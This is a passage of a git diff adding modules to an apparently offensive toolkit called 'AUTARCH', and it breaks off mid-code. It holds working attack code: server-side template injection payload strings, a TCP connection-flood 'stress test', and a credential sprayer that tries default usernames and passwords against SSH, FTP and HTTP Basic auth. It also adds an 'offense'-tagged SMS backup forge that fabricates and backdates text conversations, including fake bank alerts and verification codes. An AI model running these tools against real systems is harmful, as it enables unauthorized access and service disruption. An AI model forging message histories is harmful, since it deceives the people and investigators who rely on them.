+ "{{config}}",
+ "{{self.__class__.__mro__}}",
+ "<%= 7*7 %>",
+ "{{request.application.__globals__}}",
+ ],
+ }
+
+ if choice in payloads:
+ names = {
+ "1": "XSS", "2": "SQL Injection", "3": "Command Injection",
+ "4": "Path Traversal", "5": "SSTI"
+ }
+ print(f"\n{Colors.CYAN}{names[choice]} Payloads:{Colors.RESET}\n")
+ for i, payload in enumerate(payloads[choice], 1):
+ print(f" [{i}] {payload}")
+
+ def network_stress(self):
+ """Network stress test (controlled)."""
+ print(f"\n{Colors.BOLD}Network Stress Test{Colors.RESET}")
+ print(f"{Colors.RED}WARNING: Only use on systems you own or have permission to test!{Colors.RESET}\n")
+
+ target = input(f"{Colors.WHITE}Enter target IP: {Colors.RESET}").strip()
+ port = input(f"{Colors.WHITE}Enter target port: {Colors.RESET}").strip()
+ duration = input(f"{Colors.WHITE}Duration in seconds [5]: {Colors.RESET}").strip() or "5"
+
+ if not target or not port:
+ return
+
+ try:
+ port = int(port)
+ duration = int(duration)
+ if duration > 30:
+ duration = 30
+ print(f"{Colors.YELLOW}Limited to 30 seconds max{Colors.RESET}")
+ except:
+ self.print_status("Invalid input", "error")
+ return
+
+ confirm = input(f"\n{Colors.YELLOW}Start stress test against {target}:{port} for {duration}s? (yes/no): {Colors.RESET}").strip()
+ if confirm.lower() != 'yes':
+ return
+
+ print(f"\n{Colors.CYAN}Starting stress test...{Colors.RESET}")
+
+ import time
+ start_time = time.time()
+ connections = 0
+ errors = 0
+
+ while time.time() - start_time < duration:
+ try:
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ sock.settimeout(1)
+ sock.connect((target, port))
+ sock.send(b"X" * 1024)
+ sock.close()
+ connections += 1
+ except:
+ errors += 1
+
+ if connections % 100 == 0:
+ print(f"\r{Colors.DIM}Connections: {connections}, Errors: {errors}{Colors.RESET}", end="")
+
+ print(f"\n\n{Colors.GREEN}Test complete:{Colors.RESET}")
+ print(f" Connections attempted: {connections}")
+ print(f" Errors: {errors}")
+ print(f" Duration: {duration}s")
+
+ # ==================== CREDENTIAL SPRAYER ====================
+
+ DEFAULT_USERNAMES = [
+ 'admin', 'root', 'user', 'test', 'guest', 'administrator', 'ftp',
+ 'www', 'postgres', 'mysql', 'oracle', 'backup', 'operator', 'info',
+ 'support', 'webmaster', 'demo', 'pi', 'ubuntu', 'deploy',
+ ]
+
+ DEFAULT_PASSWORDS = [
+ 'password', '123456', 'admin', 'root', 'letmein', 'welcome',
+ 'changeme', 'test', 'guest', 'default', 'pass', 'qwerty',
+ '123456789', 'password1', '12345678', '1234', 'abc123',
+ 'monkey', 'master', 'dragon',
+ ]
+
+ def credential_sprayer(self):
+ """Credential spraying against network services."""
+ print(f"\n{Colors.BOLD}Credential Sprayer{Colors.RESET}")
+ print(f"{Colors.RED}WARNING: Only use on systems you own or have explicit authorization to test!{Colors.RESET}")
+ print(f"{Colors.DIM}Test common credentials against network services{Colors.RESET}")
+ print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n")
+
+ # Protocol selection
+ print(f" {Colors.YELLOW}[1]{Colors.RESET} SSH")
+ print(f" {Colors.YELLOW}[2]{Colors.RESET} FTP")
+ print(f" {Colors.YELLOW}[3]{Colors.RESET} HTTP Basic Auth")
+ print()
+
+ proto_choice = input(f"{Colors.WHITE}Select protocol: {Colors.RESET}").strip()
+ protocols = {'1': 'ssh', '2': 'ftp', '3': 'http'}
+ protocol = protocols.get(proto_choice)
+ if not protocol:
+ return
+
+ default_ports = {'ssh': '22', 'ftp': '21', 'http': '80'}
+ target = input(f"{Colors.WHITE}Target IP/hostname: {Colors.RESET}").strip()
+ if not target:
+ return
+
+ port = input(f"{Colors.WHITE}Port [{Colors.GREEN}{default_ports[protocol]}{Colors.WHITE}]: {Colors.RESET}").strip() or default_ports[protocol]
+ try:
+ port = int(port)
+ except ValueError:
+ self.print_status("Invalid port", "error")
+ return
+
+ # Username source
+ print(f"\n{Colors.CYAN}Username source:{Colors.RESET}")
+ print(f" {Colors.YELLOW}[1]{Colors.RESET} Built-in top 20")
+ print(f" {Colors.YELLOW}[2]{Colors.RESET} Manual entry")
+ print(f" {Colors.YELLOW}[3]{Colors.RESET} File")
+
+ user_choice = input(f"{Colors.WHITE}Select: {Colors.RESET}").strip()
+ usernames = []
+ if user_choice == '1':
+ usernames = self.DEFAULT_USERNAMES[:]
+ elif user_choice == '2':
+ user_input = input(f"{Colors.WHITE}Usernames (comma-separated): {Colors.RESET}").strip()
+ usernames = [u.strip() for u in user_input.split(',') if u.strip()]
+ elif user_choice == '3':
+ filepath = input(f"{Colors.WHITE}Username file path: {Colors.RESET}").strip()
+ try:
+ with open(filepath, 'r') as f:
+ usernames = [line.strip() for line in f if line.strip()]
+ except Exception as e:
+ self.print_status(f"Error reading file: {e}", "error")
+ return
+
+ if not usernames:
+ self.print_status("No usernames provided", "error")
+ return
+
+ # Password source
+ print(f"\n{Colors.CYAN}Password source:{Colors.RESET}")
+ print(f" {Colors.YELLOW}[1]{Colors.RESET} Built-in top 20")
+ print(f" {Colors.YELLOW}[2]{Colors.RESET} Manual entry")
+ print(f" {Colors.YELLOW}[3]{Colors.RESET} File")
+
+ pass_choice = input(f"{Colors.WHITE}Select: {Colors.RESET}").strip()
+ passwords = []
+ if pass_choice == '1':
+ passwords = self.DEFAULT_PASSWORDS[:]
+ elif pass_choice == '2':
+ pass_input = input(f"{Colors.WHITE}Passwords (comma-separated): {Colors.RESET}").strip()
+ passwords = [p.strip() for p in pass_input.split(',') if p.strip()]
+ elif pass_choice == '3':
+ filepath = input(f"{Colors.WHITE}Password file path: {Colors.RESET}").strip()
+ try:
+ with open(filepath, 'r') as f:
+ passwords = [line.strip() for line in f if line.strip()]
+ except Exception as e:
+ self.print_status(f"Error reading file: {e}", "error")
+ return
+
+ if not passwords:
+ self.print_status("No passwords provided", "error")
+ return
+
+ # Delay and confirmation
+ delay = input(f"{Colors.WHITE}Delay between attempts (seconds) [{Colors.GREEN}1.0{Colors.WHITE}]: {Colors.RESET}").strip() or "1.0"
+ try:
+ delay = max(0.5, float(delay)) # Enforce minimum 0.5s
+ except ValueError:
+ delay = 1.0
+
+ total_combos = len(usernames) * len(passwords)
+ est_time = total_combos * delay
+
+ print(f"\n{Colors.CYAN}{'─' * 50}{Colors.RESET}")
+ print(f" Protocol: {protocol.upper()}")
+ print(f" Target: {target}:{port}")
+ print(f" Usernames: {len(usernames)}")
+ print(f" Passwords: {len(passwords)}")
+ print(f" Combinations: {total_combos}")
+ print(f" Delay: {delay}s")
+ print(f" Est. time: {int(est_time)}s ({int(est_time/60)}m)")
+ print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}")
+
+ confirm = input(f"\n{Colors.YELLOW}Start credential spray? (yes/no): {Colors.RESET}").strip().lower()
+ if confirm != 'yes':
+ return
+
+ results = self._run_spray(protocol, target, port, usernames, passwords, delay)
+
+ # Summary
+ print(f"\n{Colors.CYAN}{'─' * 50}{Colors.RESET}")
+ print(f"{Colors.BOLD}Spray Complete{Colors.RESET}")
+ print(f" Attempts: {total_combos}")
+ print(f" Successes: {Colors.GREEN}{len(results)}{Colors.RESET}")
+
+ if results:
+ print(f"\n{Colors.GREEN}Valid Credentials:{Colors.RESET}")
+ for r in results:
+ print(f" {Colors.GREEN}[+]{Colors.RESET} {r['user']}:{r['password']}")
+
+ def _spray_ssh(self, target: str, port: int, user: str, password: str) -> bool:
+ """Try SSH login with given credentials."""
+ try:
+ import paramiko
+ client = paramiko.SSHClient()
+ client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
+ client.connect(target, port=port, username=user, password=password, timeout=5,
+ allow_agent=False, look_for_keys=False)
+ client.close()
+ return True
+ except ImportError:
+ # Fallback to sshpass
+ success, _ = self.run_cmd(
+ f"sshpass -p '{password}' ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 -p {port} {user}@{target} exit",
+ timeout=10
+ )
+ return success
+ except:
+ return False
+
+ def _spray_ftp(self, target: str, port: int, user: str, password: str) -> bool:
+ """Try FTP login with given credentials."""
+ try:
+ ftp = ftplib.FTP()
+ ftp.connect(target, port, timeout=5)
+ ftp.login(user, password)
+ ftp.quit()
+ return True
+ except:
+ return False
+
+ def _spray_http_basic(self, target: str, port: int, user: str, password: str) -> bool:
+ """Try HTTP Basic Auth with given credentials."""
+ try:
+ url = f"http://{target}:{port}/"
+ credentials = base64.b64encode(f"{user}:{password}".encode()).decode()
+ req = urllib.request.Request(url, headers={
+ 'Authorization': f'Basic {credentials}',
+ 'User-Agent': 'Mozilla/5.0',
+ })
+ with urllib.request.urlopen(req, timeout=5) as response:
+ return response.getcode() not in [401, 403]
+ except urllib.error.HTTPError as e:
+ return e.code not in [401, 403]
+ except:
+ return False
+
+ def _run_spray(self, protocol: str, target: str, port: int,
+ usernames: list, passwords: list, delay: float = 1.0) -> list:
+ """Execute the credential spray."""
+ spray_funcs = {
+ 'ssh': self._spray_ssh,
+ 'ftp': self._spray_ftp,
+ 'http': self._spray_http_basic,
+ }
+
+ spray_func = spray_funcs.get(protocol)
+ if not spray_func:
+ self.print_status(f"Unsupported protocol: {protocol}", "error")
+ return []
+
+ successes = []
+ attempt = 0
+ max_attempts = 500
+
+ print(f"\n{Colors.CYAN}Starting spray...{Colors.RESET}\n")
+
+ for user in usernames:
+ for password in passwords:
+ attempt += 1
+ if attempt > max_attempts:
+ self.print_status(f"Max attempts ({max_attempts}) reached", "warning")
+ return successes
+
+ print(f"\r{Colors.DIM} [{attempt}] Trying {user}:{password[:15]}...{Colors.RESET}", end='', flush=True)
+
+ try:
+ result = spray_func(target, port, user, password)
+ if result:
+ print(f"\r{' ' * 60}\r {Colors.GREEN}[+] SUCCESS: {user}:{password}{Colors.RESET}")
+ successes.append({'user': user, 'password': password})
+ except:
+ pass
+
+ time.sleep(delay)
+
+ print(f"\r{' ' * 60}\r", end='')
+ return successes
+
+ def show_menu(self):
+ clear_screen()
+ display_banner()
+
+ print(f"{Colors.YELLOW}{Colors.BOLD} Attack Simulation{Colors.RESET}")
+ print(f"{Colors.DIM} Red team exercises and testing{Colors.RESET}")
+ print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}")
+ print()
+ print(f" {Colors.YELLOW}[1]{Colors.RESET} Password Audit")
+ print(f" {Colors.YELLOW}[2]{Colors.RESET} Port Scanner")
+ print(f" {Colors.YELLOW}[3]{Colors.RESET} Banner Grabber")
+ print(f" {Colors.YELLOW}[4]{Colors.RESET} Payload Generator")
+ print(f" {Colors.YELLOW}[5]{Colors.RESET} Network Stress Test")
+ print(f" {Colors.YELLOW}[6]{Colors.RESET} Credential Sprayer")
+ print()
+ print(f" {Colors.DIM}[0]{Colors.RESET} Back")
+ print()
+
+ def run(self):
+ while True:
+ self.show_menu()
+ try:
+ choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip()
+
+ if choice == "0":
+ break
+ elif choice == "1":
+ self.password_audit()
+ elif choice == "2":
+ self.port_scanner()
+ elif choice == "3":
+ self.banner_grabber()
+ elif choice == "4":
+ self.payload_generator()
+ elif choice == "5":
+ self.network_stress()
+ elif choice == "6":
+ self.credential_sprayer()
+
+ if choice in ["1", "2", "3", "4", "5", "6"]:
+ input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
+
+ except (EOFError, KeyboardInterrupt):
+ break
+
+
+def run():
+ Simulator().run()
+
+
+if __name__ == "__main__":
+ run()
diff --git a/modules/sms_forge.py b/modules/sms_forge.py
new file mode 100644
index 0000000..f3c7e03
--- /dev/null
+++ b/modules/sms_forge.py
@@ -0,0 +1,1502 @@
+"""AUTARCH SMS/MMS Backup Forge
+
+Create and modify SMS/MMS backup XML files in the format used by
+"SMS Backup & Restore" (SyncTech) -- the most popular Android SMS backup app.
+Supports full conversation generation, template-based message creation,
+bulk import/export, and timestamp manipulation.
+"""
+
+DESCRIPTION = "SMS/MMS Backup Forge — Create & Modify Backup Conversations"
+AUTHOR = "AUTARCH"
+VERSION = "1.0"
+CATEGORY = "offense"
+
+import os
+import csv
+import json
+import uuid
+import time
+import base64
+import html
+from datetime import datetime
+from pathlib import Path
+from typing import Dict, List, Optional, Any
+from xml.etree import ElementTree as ET
+
+try:
+ from core.paths import get_data_dir
+except ImportError:
+ def get_data_dir():
+ return Path(__file__).resolve().parent.parent / 'data'
+
+
+# ── Module-level singleton ──────────────────────────────────────────────────
+
+_instance: Optional['SMSForge'] = None
+
+
+def get_sms_forge() -> 'SMSForge':
+ """Return the module singleton, creating it on first call."""
+ global _instance
+ if _instance is None:
+ _instance = SMSForge()
+ return _instance
+
+
+# ── Built-in Conversation Templates ────────────────────────────────────────
+
+BUILTIN_TEMPLATES = {
+ "business_meeting": {
+ "name": "Business Meeting",
+ "description": "Scheduling a meeting, confirming time and place",
+ "messages": [
+ {"body": "Hi {contact}, are you available for a meeting on {date}?", "type": 2, "delay_minutes": 0},
+ {"body": "Let me check my schedule. What time works for you?", "type": 1, "delay_minutes": 12},
+ {"body": "How about {time} at {location}?", "type": 2, "delay_minutes": 5},
+ {"body": "That works for me. I'll bring the {topic} documents.", "type": 1, "delay_minutes": 8},
+ {"body": "Perfect. See you then!", "type": 2, "delay_minutes": 3},
+ {"body": "See you there. Thanks for setting this up.", "type": 1, "delay_minutes": 2},
+ ],
+ "variables": ["contact", "date", "time", "location", "topic"],
+ },
+ "casual_chat": {
+ "name": "Casual Chat",
+ "description": "General friendly conversation between friends",
+ "messages": [
+ {"body": "Hey {contact}! How's it going?", "type": 2, "delay_minutes": 0},
+ {"body": "Hey! Pretty good, just got back from {activity}. You?", "type": 1, "delay_minutes": 15},
+ {"body": "Nice! I've been {my_activity}. We should hang out soon.", "type": 2, "delay_minutes": 7},
+ {"body": "Definitely! How about {day}?", "type": 1, "delay_minutes": 4},
+ {"body": "Sounds great, let's do it. I'll text you the details later.", "type": 2, "delay_minutes": 3},
+ {"body": "Cool, talk to you later!", "type": 1, "delay_minutes": 1},
+ ],
+ "variables": ["contact", "activity", "my_activity", "day"],
+ },
+ "delivery_notification": {
+ "name": "Delivery Notification",
+ "description": "Package tracking updates from a delivery service",
+ "messages": [
+ {"body": "Your order #{order_id} has been shipped! Track at: {tracking_url}", "type": 1, "delay_minutes": 0},
+ {"body": "Update: Your package is out for delivery today. Estimated arrival: {eta}.", "type": 1, "delay_minutes": 1440},
+ {"body": "Your package has been delivered! Left at: {location}.", "type": 1, "delay_minutes": 360},
+ ],
+ "variables": ["order_id", "tracking_url", "eta", "location"],
+ },
+ "verification_codes": {
+ "name": "Verification Codes",
+ "description": "OTP/2FA codes from various services",
+ "messages": [
+ {"body": "Your {service} verification code is: {code}. Do not share this code.", "type": 1, "delay_minutes": 0},
+ {"body": "{service2} security code: {code2}. This code expires in 10 minutes.", "type": 1, "delay_minutes": 120},
+ {"body": "Your {service3} login code is {code3}. If you didn't request this, ignore this message.", "type": 1, "delay_minutes": 240},
+ ],
+ "variables": ["service", "code", "service2", "code2", "service3", "code3"],
+ },
+ "bank_alerts": {
+ "name": "Bank Alerts",
+ "description": "Bank transaction notifications and alerts",
+ "messages": [
+ {"body": "{bank}: Purchase of ${amount} at {merchant} on card ending {card_last4}. Balance: ${balance}.", "type": 1, "delay_minutes": 0},
+ {"body": "{bank}: Direct deposit of ${deposit_amount} received. New balance: ${new_balance}.", "type": 1, "delay_minutes": 4320},
+ {"body": "{bank} Alert: Unusual activity detected on your account. If this was not you, call {phone}.", "type": 1, "delay_minutes": 2880},
+ {"body": "{bank}: Your scheduled payment of ${payment_amount} to {payee} has been processed.", "type": 1, "delay_minutes": 1440},
+ ],
+ "variables": ["bank", "amount", "merchant", "card_last4", "balance",
+ "deposit_amount", "new_balance", "phone",
+ "payment_amount", "payee"],
+ },
+ "custom": {
+ "name": "Custom",
+ "description": "Empty template for user-defined conversations",
+ "messages": [],
+ "variables": [],
+ },
+}
+
+
+# ── SMS Forge Class ─────────────────────────────────────────────────────────
+
+class SMSForge:
+ """Create, modify, and export SMS/MMS backup XML files."""
+
+ def __init__(self):
+ self._data_dir = Path(get_data_dir()) / 'sms_forge'
+ self._data_dir.mkdir(parents=True, exist_ok=True)
+ self._messages: List[Dict[str, Any]] = []
+ self._backup_set: str = self._generate_uuid()
+ self._backup_date: int = int(time.time() * 1000)
+ self._backup_type: str = "full"
+ self._custom_templates: Dict[str, dict] = {}
+ self._load_custom_templates()
+
+ # ── Backup Management ───────────────────────────────────────────────────
+
+ def create_backup(self, messages: List[Dict[str, Any]], output_path: str) -> Dict[str, Any]:
+ """Create a new SMS Backup & Restore XML file from a list of message dicts.
+
+ Each message dict should have at minimum:
+ address, body, type (for SMS) or msg_box (for MMS)
+ Optional: timestamp, contact_name, read, locked, attachments
+ """
+ self._messages = []
+ for msg in messages:
+ if msg.get('is_mms') or msg.get('attachments'):
+ self.add_mms(
+ address=msg.get('address', ''),
+ body=msg.get('body', ''),
+ attachments=msg.get('attachments', []),
+ msg_box=msg.get('msg_box', msg.get('type', 1)),
+ timestamp=msg.get('timestamp') or msg.get('date'),
+ contact_name=msg.get('contact_name', '(Unknown)'),
+ )
+ else:
+ self.add_sms(
+ address=msg.get('address', ''),
+ body=msg.get('body', ''),
+ msg_type=msg.get('type', 1),
+ timestamp=msg.get('timestamp') or msg.get('date'),
+ contact_name=msg.get('contact_name', '(Unknown)'),
+ read=msg.get('read', 1),
+ locked=msg.get('locked', 0),
+ )
+ return self.save_backup(output_path)
+
+ def load_backup(self, xml_path: str) -> Dict[str, Any]:
+ """Parse existing backup XML into internal format."""
+ path = Path(xml_path)
+ if not path.exists():
+ return {'ok': False, 'error': f'File not found: {xml_path}'}
+ try:
+ tree = ET.parse(str(path))
+ root = tree.getroot()
+ if root.tag != 'smses':
+ return {'ok': False, 'error': 'Invalid XML: root element must be '}
+
+ self._backup_set = root.get('backup_set', self._generate_uuid())
+ self._backup_date = int(root.get('backup_date', str(int(time.time() * 1000))))
+ self._backup_type = root.get('type', 'full')
+ self._messages = []
+
+ for elem in root:
+ if elem.tag == 'sms':
+ msg = {
+ 'msg_kind': 'sms',
+ 'protocol': elem.get('protocol', '0'),
+ 'address': elem.get('address', ''),
+ 'date': int(elem.get('date', '0')),
+ 'type': int(elem.get('type', '1')),
+ 'subject': elem.get('subject', 'null'),
+ 'body': elem.get('body', ''),
+ 'toa': elem.get('toa', 'null'),
+ 'sc_toa': elem.get('sc_toa', 'null'),
+ 'service_center': elem.get('service_center', 'null'),
+ 'read': int(elem.get('read', '1')),
+ 'status': int(elem.get('status', '-1')),
+ 'locked': int(elem.get('locked', '0')),
+ 'sub_id': elem.get('sub_id', '-1'),
+ 'readable_date': elem.get('readable_date', ''),
+ 'contact_name': elem.get('contact_name', '(Unknown)'),
+ }
+ self._messages.append(msg)
+ elif elem.tag == 'mms':
+ msg = self._parse_mms_element(elem)
+ self._messages.append(msg)
+
+ return {
+ 'ok': True,
+ 'count': len(self._messages),
+ 'backup_set': self._backup_set,
+ 'backup_date': self._backup_date,
+ }
+ except ET.ParseError as e:
+ return {'ok': False, 'error': f'XML parse error: {e}'}
+ except Exception as e:
+ return {'ok': False, 'error': str(e)}
+
+ def _parse_mms_element(self, elem: ET.Element) -> Dict[str, Any]:
+ """Parse a single element into a dict."""
+ msg: Dict[str, Any] = {
+ 'msg_kind': 'mms',
+ 'date': int(elem.get('date', '0')),
+ 'ct_t': elem.get('ct_t', 'application/vnd.wap.multipart.related'),
+ 'msg_box': int(elem.get('msg_box', '1')),
+ 'address': elem.get('address', ''),
+ 'sub': elem.get('sub', 'null'),
+ 'retr_st': elem.get('retr_st', 'null'),
+ 'd_tm': elem.get('d_tm', 'null'),
+ 'exp': elem.get('exp', 'null'),
+ 'locked': int(elem.get('locked', '0')),
+ 'm_id': elem.get('m_id', 'null'),
+ 'st': elem.get('st', 'null'),
+ 'retr_txt_cs': elem.get('retr_txt_cs', 'null'),
+ 'retr_txt': elem.get('retr_txt', 'null'),
+ 'creator': elem.get('creator', 'null'),
+ 'date_sent': elem.get('date_sent', '0'),
+ 'seen': int(elem.get('seen', '1')),
+ 'm_size': elem.get('m_size', 'null'),
+ 'rr': elem.get('rr', '129'),
+ 'sub_cs': elem.get('sub_cs', 'null'),
+ 'resp_st': elem.get('resp_st', 'null'),
+ 'ct_cls': elem.get('ct_cls', 'null'),
+ 'm_cls': elem.get('m_cls', 'personal'),
+ 'd_rpt': elem.get('d_rpt', '129'),
+ 'v': elem.get('v', '18'),
+ '_id': elem.get('_id', '1'),
+ 'tr_id': elem.get('tr_id', 'null'),
+ 'resp_txt': elem.get('resp_txt', 'null'),
+ 'ct_l': elem.get('ct_l', 'null'),
+ 'm_type': elem.get('m_type', '132'),
+ 'readable_date': elem.get('readable_date', ''),
+ 'contact_name': elem.get('contact_name', '(Unknown)'),
+ 'pri': elem.get('pri', '129'),
+ 'sub_id': elem.get('sub_id', '-1'),
+ 'text_only': elem.get('text_only', '0'),
+ 'parts': [],
+ 'addrs': [],
+ 'body': '',
+ }
+
+ parts_elem = elem.find('parts')
+ if parts_elem is not None:
+ for part_elem in parts_elem.findall('part'):
+ part = {
+ 'seq': part_elem.get('seq', '0'),
+ 'ct': part_elem.get('ct', 'text/plain'),
+ 'name': part_elem.get('name', 'null'),
+ 'chset': part_elem.get('chset', 'null'),
+ 'cd': part_elem.get('cd', 'null'),
+ 'fn': part_elem.get('fn', 'null'),
+ 'cid': part_elem.get('cid', 'null'),
+ 'cl': part_elem.get('cl', 'null'),
+ 'ctt_s': part_elem.get('ctt_s', 'null'),
+ 'ctt_t': part_elem.get('ctt_t', 'null'),
+ 'text': part_elem.get('text', 'null'),
+ 'data': part_elem.get('data', 'null'),
+ }
+ msg['parts'].append(part)
+ # Extract body text from text/plain part
+ if part['ct'] == 'text/plain' and part['text'] != 'null':
+ msg['body'] = part['text']
+
+ addrs_elem = elem.find('addrs')
+ if addrs_elem is not None:
+ for addr_elem in addrs_elem.findall('addr'):
+ addr = {
+ 'address': addr_elem.get('address', ''),
+ 'type': addr_elem.get('type', '137'),
+ 'charset': addr_elem.get('charset', '106'),
+ }
+ msg['addrs'].append(addr)
+
+ return msg
+
+ def save_backup(self, output_path: str) -> Dict[str, Any]:
+ """Save current state to XML in SMS Backup & Restore format."""
+ try:
+ xml_str = self._build_xml()
+ out = Path(output_path)
+ out.parent.mkdir(parents=True, exist_ok=True)
+ out.write_text(xml_str, encoding='utf-8')
+ return {
+ 'ok': True,
+ 'path': str(out),
+ 'count': len(self._messages),
+ 'size': out.stat().st_size,
+ }
+ except Exception as e:
+ return {'ok': False, 'error': str(e)}
+
+ def merge_backups(self, paths: List[str]) -> Dict[str, Any]:
+ """Merge multiple backup files, deduplicating by date+address+body."""
+ seen = set()
+ for msg in self._messages:
+ seen.add(self._dedup_key(msg))
+
+ added = 0
+ errors = []
+ for p in paths:
+ try:
+ tree = ET.parse(p)
+ root = tree.getroot()
+ if root.tag != 'smses':
+ errors.append(f'{p}: root element is not ')
+ continue
+
+ for elem in root:
+ if elem.tag == 'sms':
+ key = f"{elem.get('date', '0')}|{elem.get('address', '')}|{elem.get('body', '')}"
+ if key not in seen:
+ seen.add(key)
+ msg = {
+ 'msg_kind': 'sms',
+ 'protocol': elem.get('protocol', '0'),
+ 'address': elem.get('address', ''),
+ 'date': int(elem.get('date', '0')),
+ 'type': int(elem.get('type', '1')),
+ 'subject': elem.get('subject', 'null'),
+ 'body': elem.get('body', ''),
+ 'toa': elem.get('toa', 'null'),
+ 'sc_toa': elem.get('sc_toa', 'null'),
+ 'service_center': elem.get('service_center', 'null'),
+ 'read': int(elem.get('read', '1')),
+ 'status': int(elem.get('status', '-1')),
+ 'locked': int(elem.get('locked', '0')),
+ 'sub_id': elem.get('sub_id', '-1'),
+ 'readable_date': elem.get('readable_date', ''),
+ 'contact_name': elem.get('contact_name', '(Unknown)'),
+ }
+ self._messages.append(msg)
+ added += 1
+ elif elem.tag == 'mms':
+ mms_msg = self._parse_mms_element(elem)
+ key = self._dedup_key(mms_msg)
+ if key not in seen:
+ seen.add(key)
+ self._messages.append(mms_msg)
+ added += 1
+ except Exception as e:
+ errors.append(f'{p}: {e}')
+
+ self._messages.sort(key=lambda m: m.get('date', 0))
+ result: Dict[str, Any] = {
+ 'ok': True,
+ 'total': len(self._messages),
+ 'added': added,
+ }
+ if errors:
+ result['errors'] = errors
+ return result
+
+ def _dedup_key(self, msg: Dict[str, Any]) -> str:
+ """Generate a deduplication key from a message dict."""
+ date_val = str(msg.get('date', '0'))
+ addr = msg.get('address', '')
+ body = msg.get('body', '')
+ if msg.get('msg_kind') == 'mms' and not body:
+ for part in msg.get('parts', []):
+ if part.get('ct') == 'text/plain' and part.get('text', 'null') != 'null':
+ body = part['text']
+ break
+ return f"{date_val}|{addr}|{body}"
+
+ def get_backup_stats(self) -> Dict[str, Any]:
+ """Return stats: message count, contacts, date range, SMS/MMS breakdown."""
+ if not self._messages:
+ return {
+ 'total': 0,
+ 'sms_count': 0,
+ 'mms_count': 0,
+ 'contacts': [],
+ 'date_range': None,
+ 'sent': 0,
+ 'received': 0,
+ }
+
+ sms_count = sum(1 for m in self._messages if m.get('msg_kind') == 'sms')
+ mms_count = sum(1 for m in self._messages if m.get('msg_kind') == 'mms')
+
+ contacts: Dict[str, Dict[str, Any]] = {}
+ for m in self._messages:
+ addr = m.get('address', '')
+ name = m.get('contact_name', '(Unknown)')
+ if addr not in contacts:
+ contacts[addr] = {'address': addr, 'name': name, 'count': 0}
+ contacts[addr]['count'] += 1
+
+ dates = [m.get('date', 0) for m in self._messages if m.get('date', 0) > 0]
+ date_range = None
+ if dates:
+ date_range = {
+ 'earliest': min(dates),
+ 'latest': max(dates),
+ 'earliest_readable': self._timestamp_to_readable(min(dates)),
+ 'latest_readable': self._timestamp_to_readable(max(dates)),
+ }
+
+ sent = 0
+ received = 0
+ for m in self._messages:
+ if m.get('msg_kind') == 'sms':
+ if m.get('type') == 2:
+ sent += 1
+ elif m.get('type') == 1:
+ received += 1
+ elif m.get('msg_kind') == 'mms':
+ if m.get('msg_box') == 2:
+ sent += 1
+ elif m.get('msg_box') == 1:
+ received += 1
+
+ return {
+ 'total': len(self._messages),
+ 'sms_count': sms_count,
+ 'mms_count': mms_count,
+ 'contacts': list(contacts.values()),
+ 'date_range': date_range,
+ 'sent': sent,
+ 'received': received,
+ 'backup_set': self._backup_set,
+ }
+
+ # ── Message Creation ────────────────────────────────────────────────────
+
+ def add_sms(self, address: str, body: str, msg_type: int = 1,
+ timestamp: Optional[int] = None, contact_name: str = '(Unknown)',
+ read: int = 1, locked: int = 0) -> Dict[str, Any]:
+ """Add a single SMS message.
+
+ Args:
+ address: Phone number (e.g. +15551234567)
+ body: Message text
+ msg_type: 1=received, 2=sent, 3=draft, 4=outbox, 5=failed, 6=queued
+ timestamp: Epoch milliseconds (defaults to now)
+ contact_name: Display name for contact
+ read: 1=read, 0=unread
+ locked: 0=unlocked, 1=locked
+ """
+ if timestamp is None:
+ timestamp = int(time.time() * 1000)
+
+ msg = {
+ 'msg_kind': 'sms',
+ 'protocol': '0',
+ 'address': address,
+ 'date': timestamp,
+ 'type': msg_type,
+ 'subject': 'null',
+ 'body': body,
+ 'toa': 'null',
+ 'sc_toa': 'null',
+ 'service_center': 'null',
+ 'read': read,
+ 'status': -1,
+ 'locked': locked,
+ 'sub_id': '-1',
+ 'readable_date': self._timestamp_to_readable(timestamp),
+ 'contact_name': contact_name,
+ }
+ self._messages.append(msg)
+ return {'ok': True, 'index': len(self._messages) - 1, 'date': timestamp}
+
+ def add_mms(self, address: str, body: str = '',
+ attachments: Optional[List[Dict[str, str]]] = None,
+ msg_box: int = 1, timestamp: Optional[int] = None,
+ contact_name: str = '(Unknown)') -> Dict[str, Any]:
+ """Add an MMS message with optional attachments.
+
+ Args:
+ address: Phone number
+ body: Text body of the MMS
+ attachments: List of dicts with keys: path (file path), content_type (MIME),
+ or data (base64 encoded), filename
+ msg_box: 1=received, 2=sent, 3=draft, 4=outbox
+ timestamp: Epoch milliseconds
+ contact_name: Display name
+ """
+ if timestamp is None:
+ timestamp = int(time.time() * 1000)
+ if attachments is None:
+ attachments = []
+
+ parts: List[Dict[str, str]] = []
+ has_media = len(attachments) > 0
+
+ # SMIL part (required for MMS with attachments)
+ if has_media:
+ smil_body = ' '
+ smil_body += ' '
+ smil_body += ' '
+ smil_body += ''
+ if body:
+ smil_body += ' '
+ for i, att in enumerate(attachments):
+ fname = att.get('filename', f'attachment_{i}')
+ ct = att.get('content_type', 'application/octet-stream')
+ if ct.startswith('image/'):
+ smil_body += f' '
+ elif ct.startswith('audio/'):
+ smil_body += f' '
+ elif ct.startswith('video/'):
+ smil_body += f' '
+ smil_body += ' '
+ parts.append({
+ 'seq': '0', 'ct': 'application/smil', 'name': 'null',
+ 'chset': 'null', 'cd': 'null', 'fn': 'null',
+ 'cid': '', 'cl': 'smil.xml',
+ 'ctt_s': 'null', 'ctt_t': 'null',
+ 'text': smil_body, 'data': 'null',
+ })
+
+ # Attachment parts
+ for i, att in enumerate(attachments):
+ fname = att.get('filename', f'attachment_{i}')
+ ct = att.get('content_type', 'application/octet-stream')
+ data = 'null'
+ if 'path' in att and os.path.isfile(att['path']):
+ data = self._encode_attachment(att['path'])
+ elif 'data' in att:
+ data = att['data']
+ parts.append({
+ 'seq': '0', 'ct': ct, 'name': fname,
+ 'chset': 'null', 'cd': 'null', 'fn': 'null',
+ 'cid': f'<{fname}>', 'cl': fname,
+ 'ctt_s': 'null', 'ctt_t': 'null',
+ 'text': 'null', 'data': data,
+ })
+
+ # Text part
+ if body:
+ parts.append({
+ 'seq': '0', 'ct': 'text/plain', 'name': 'null',
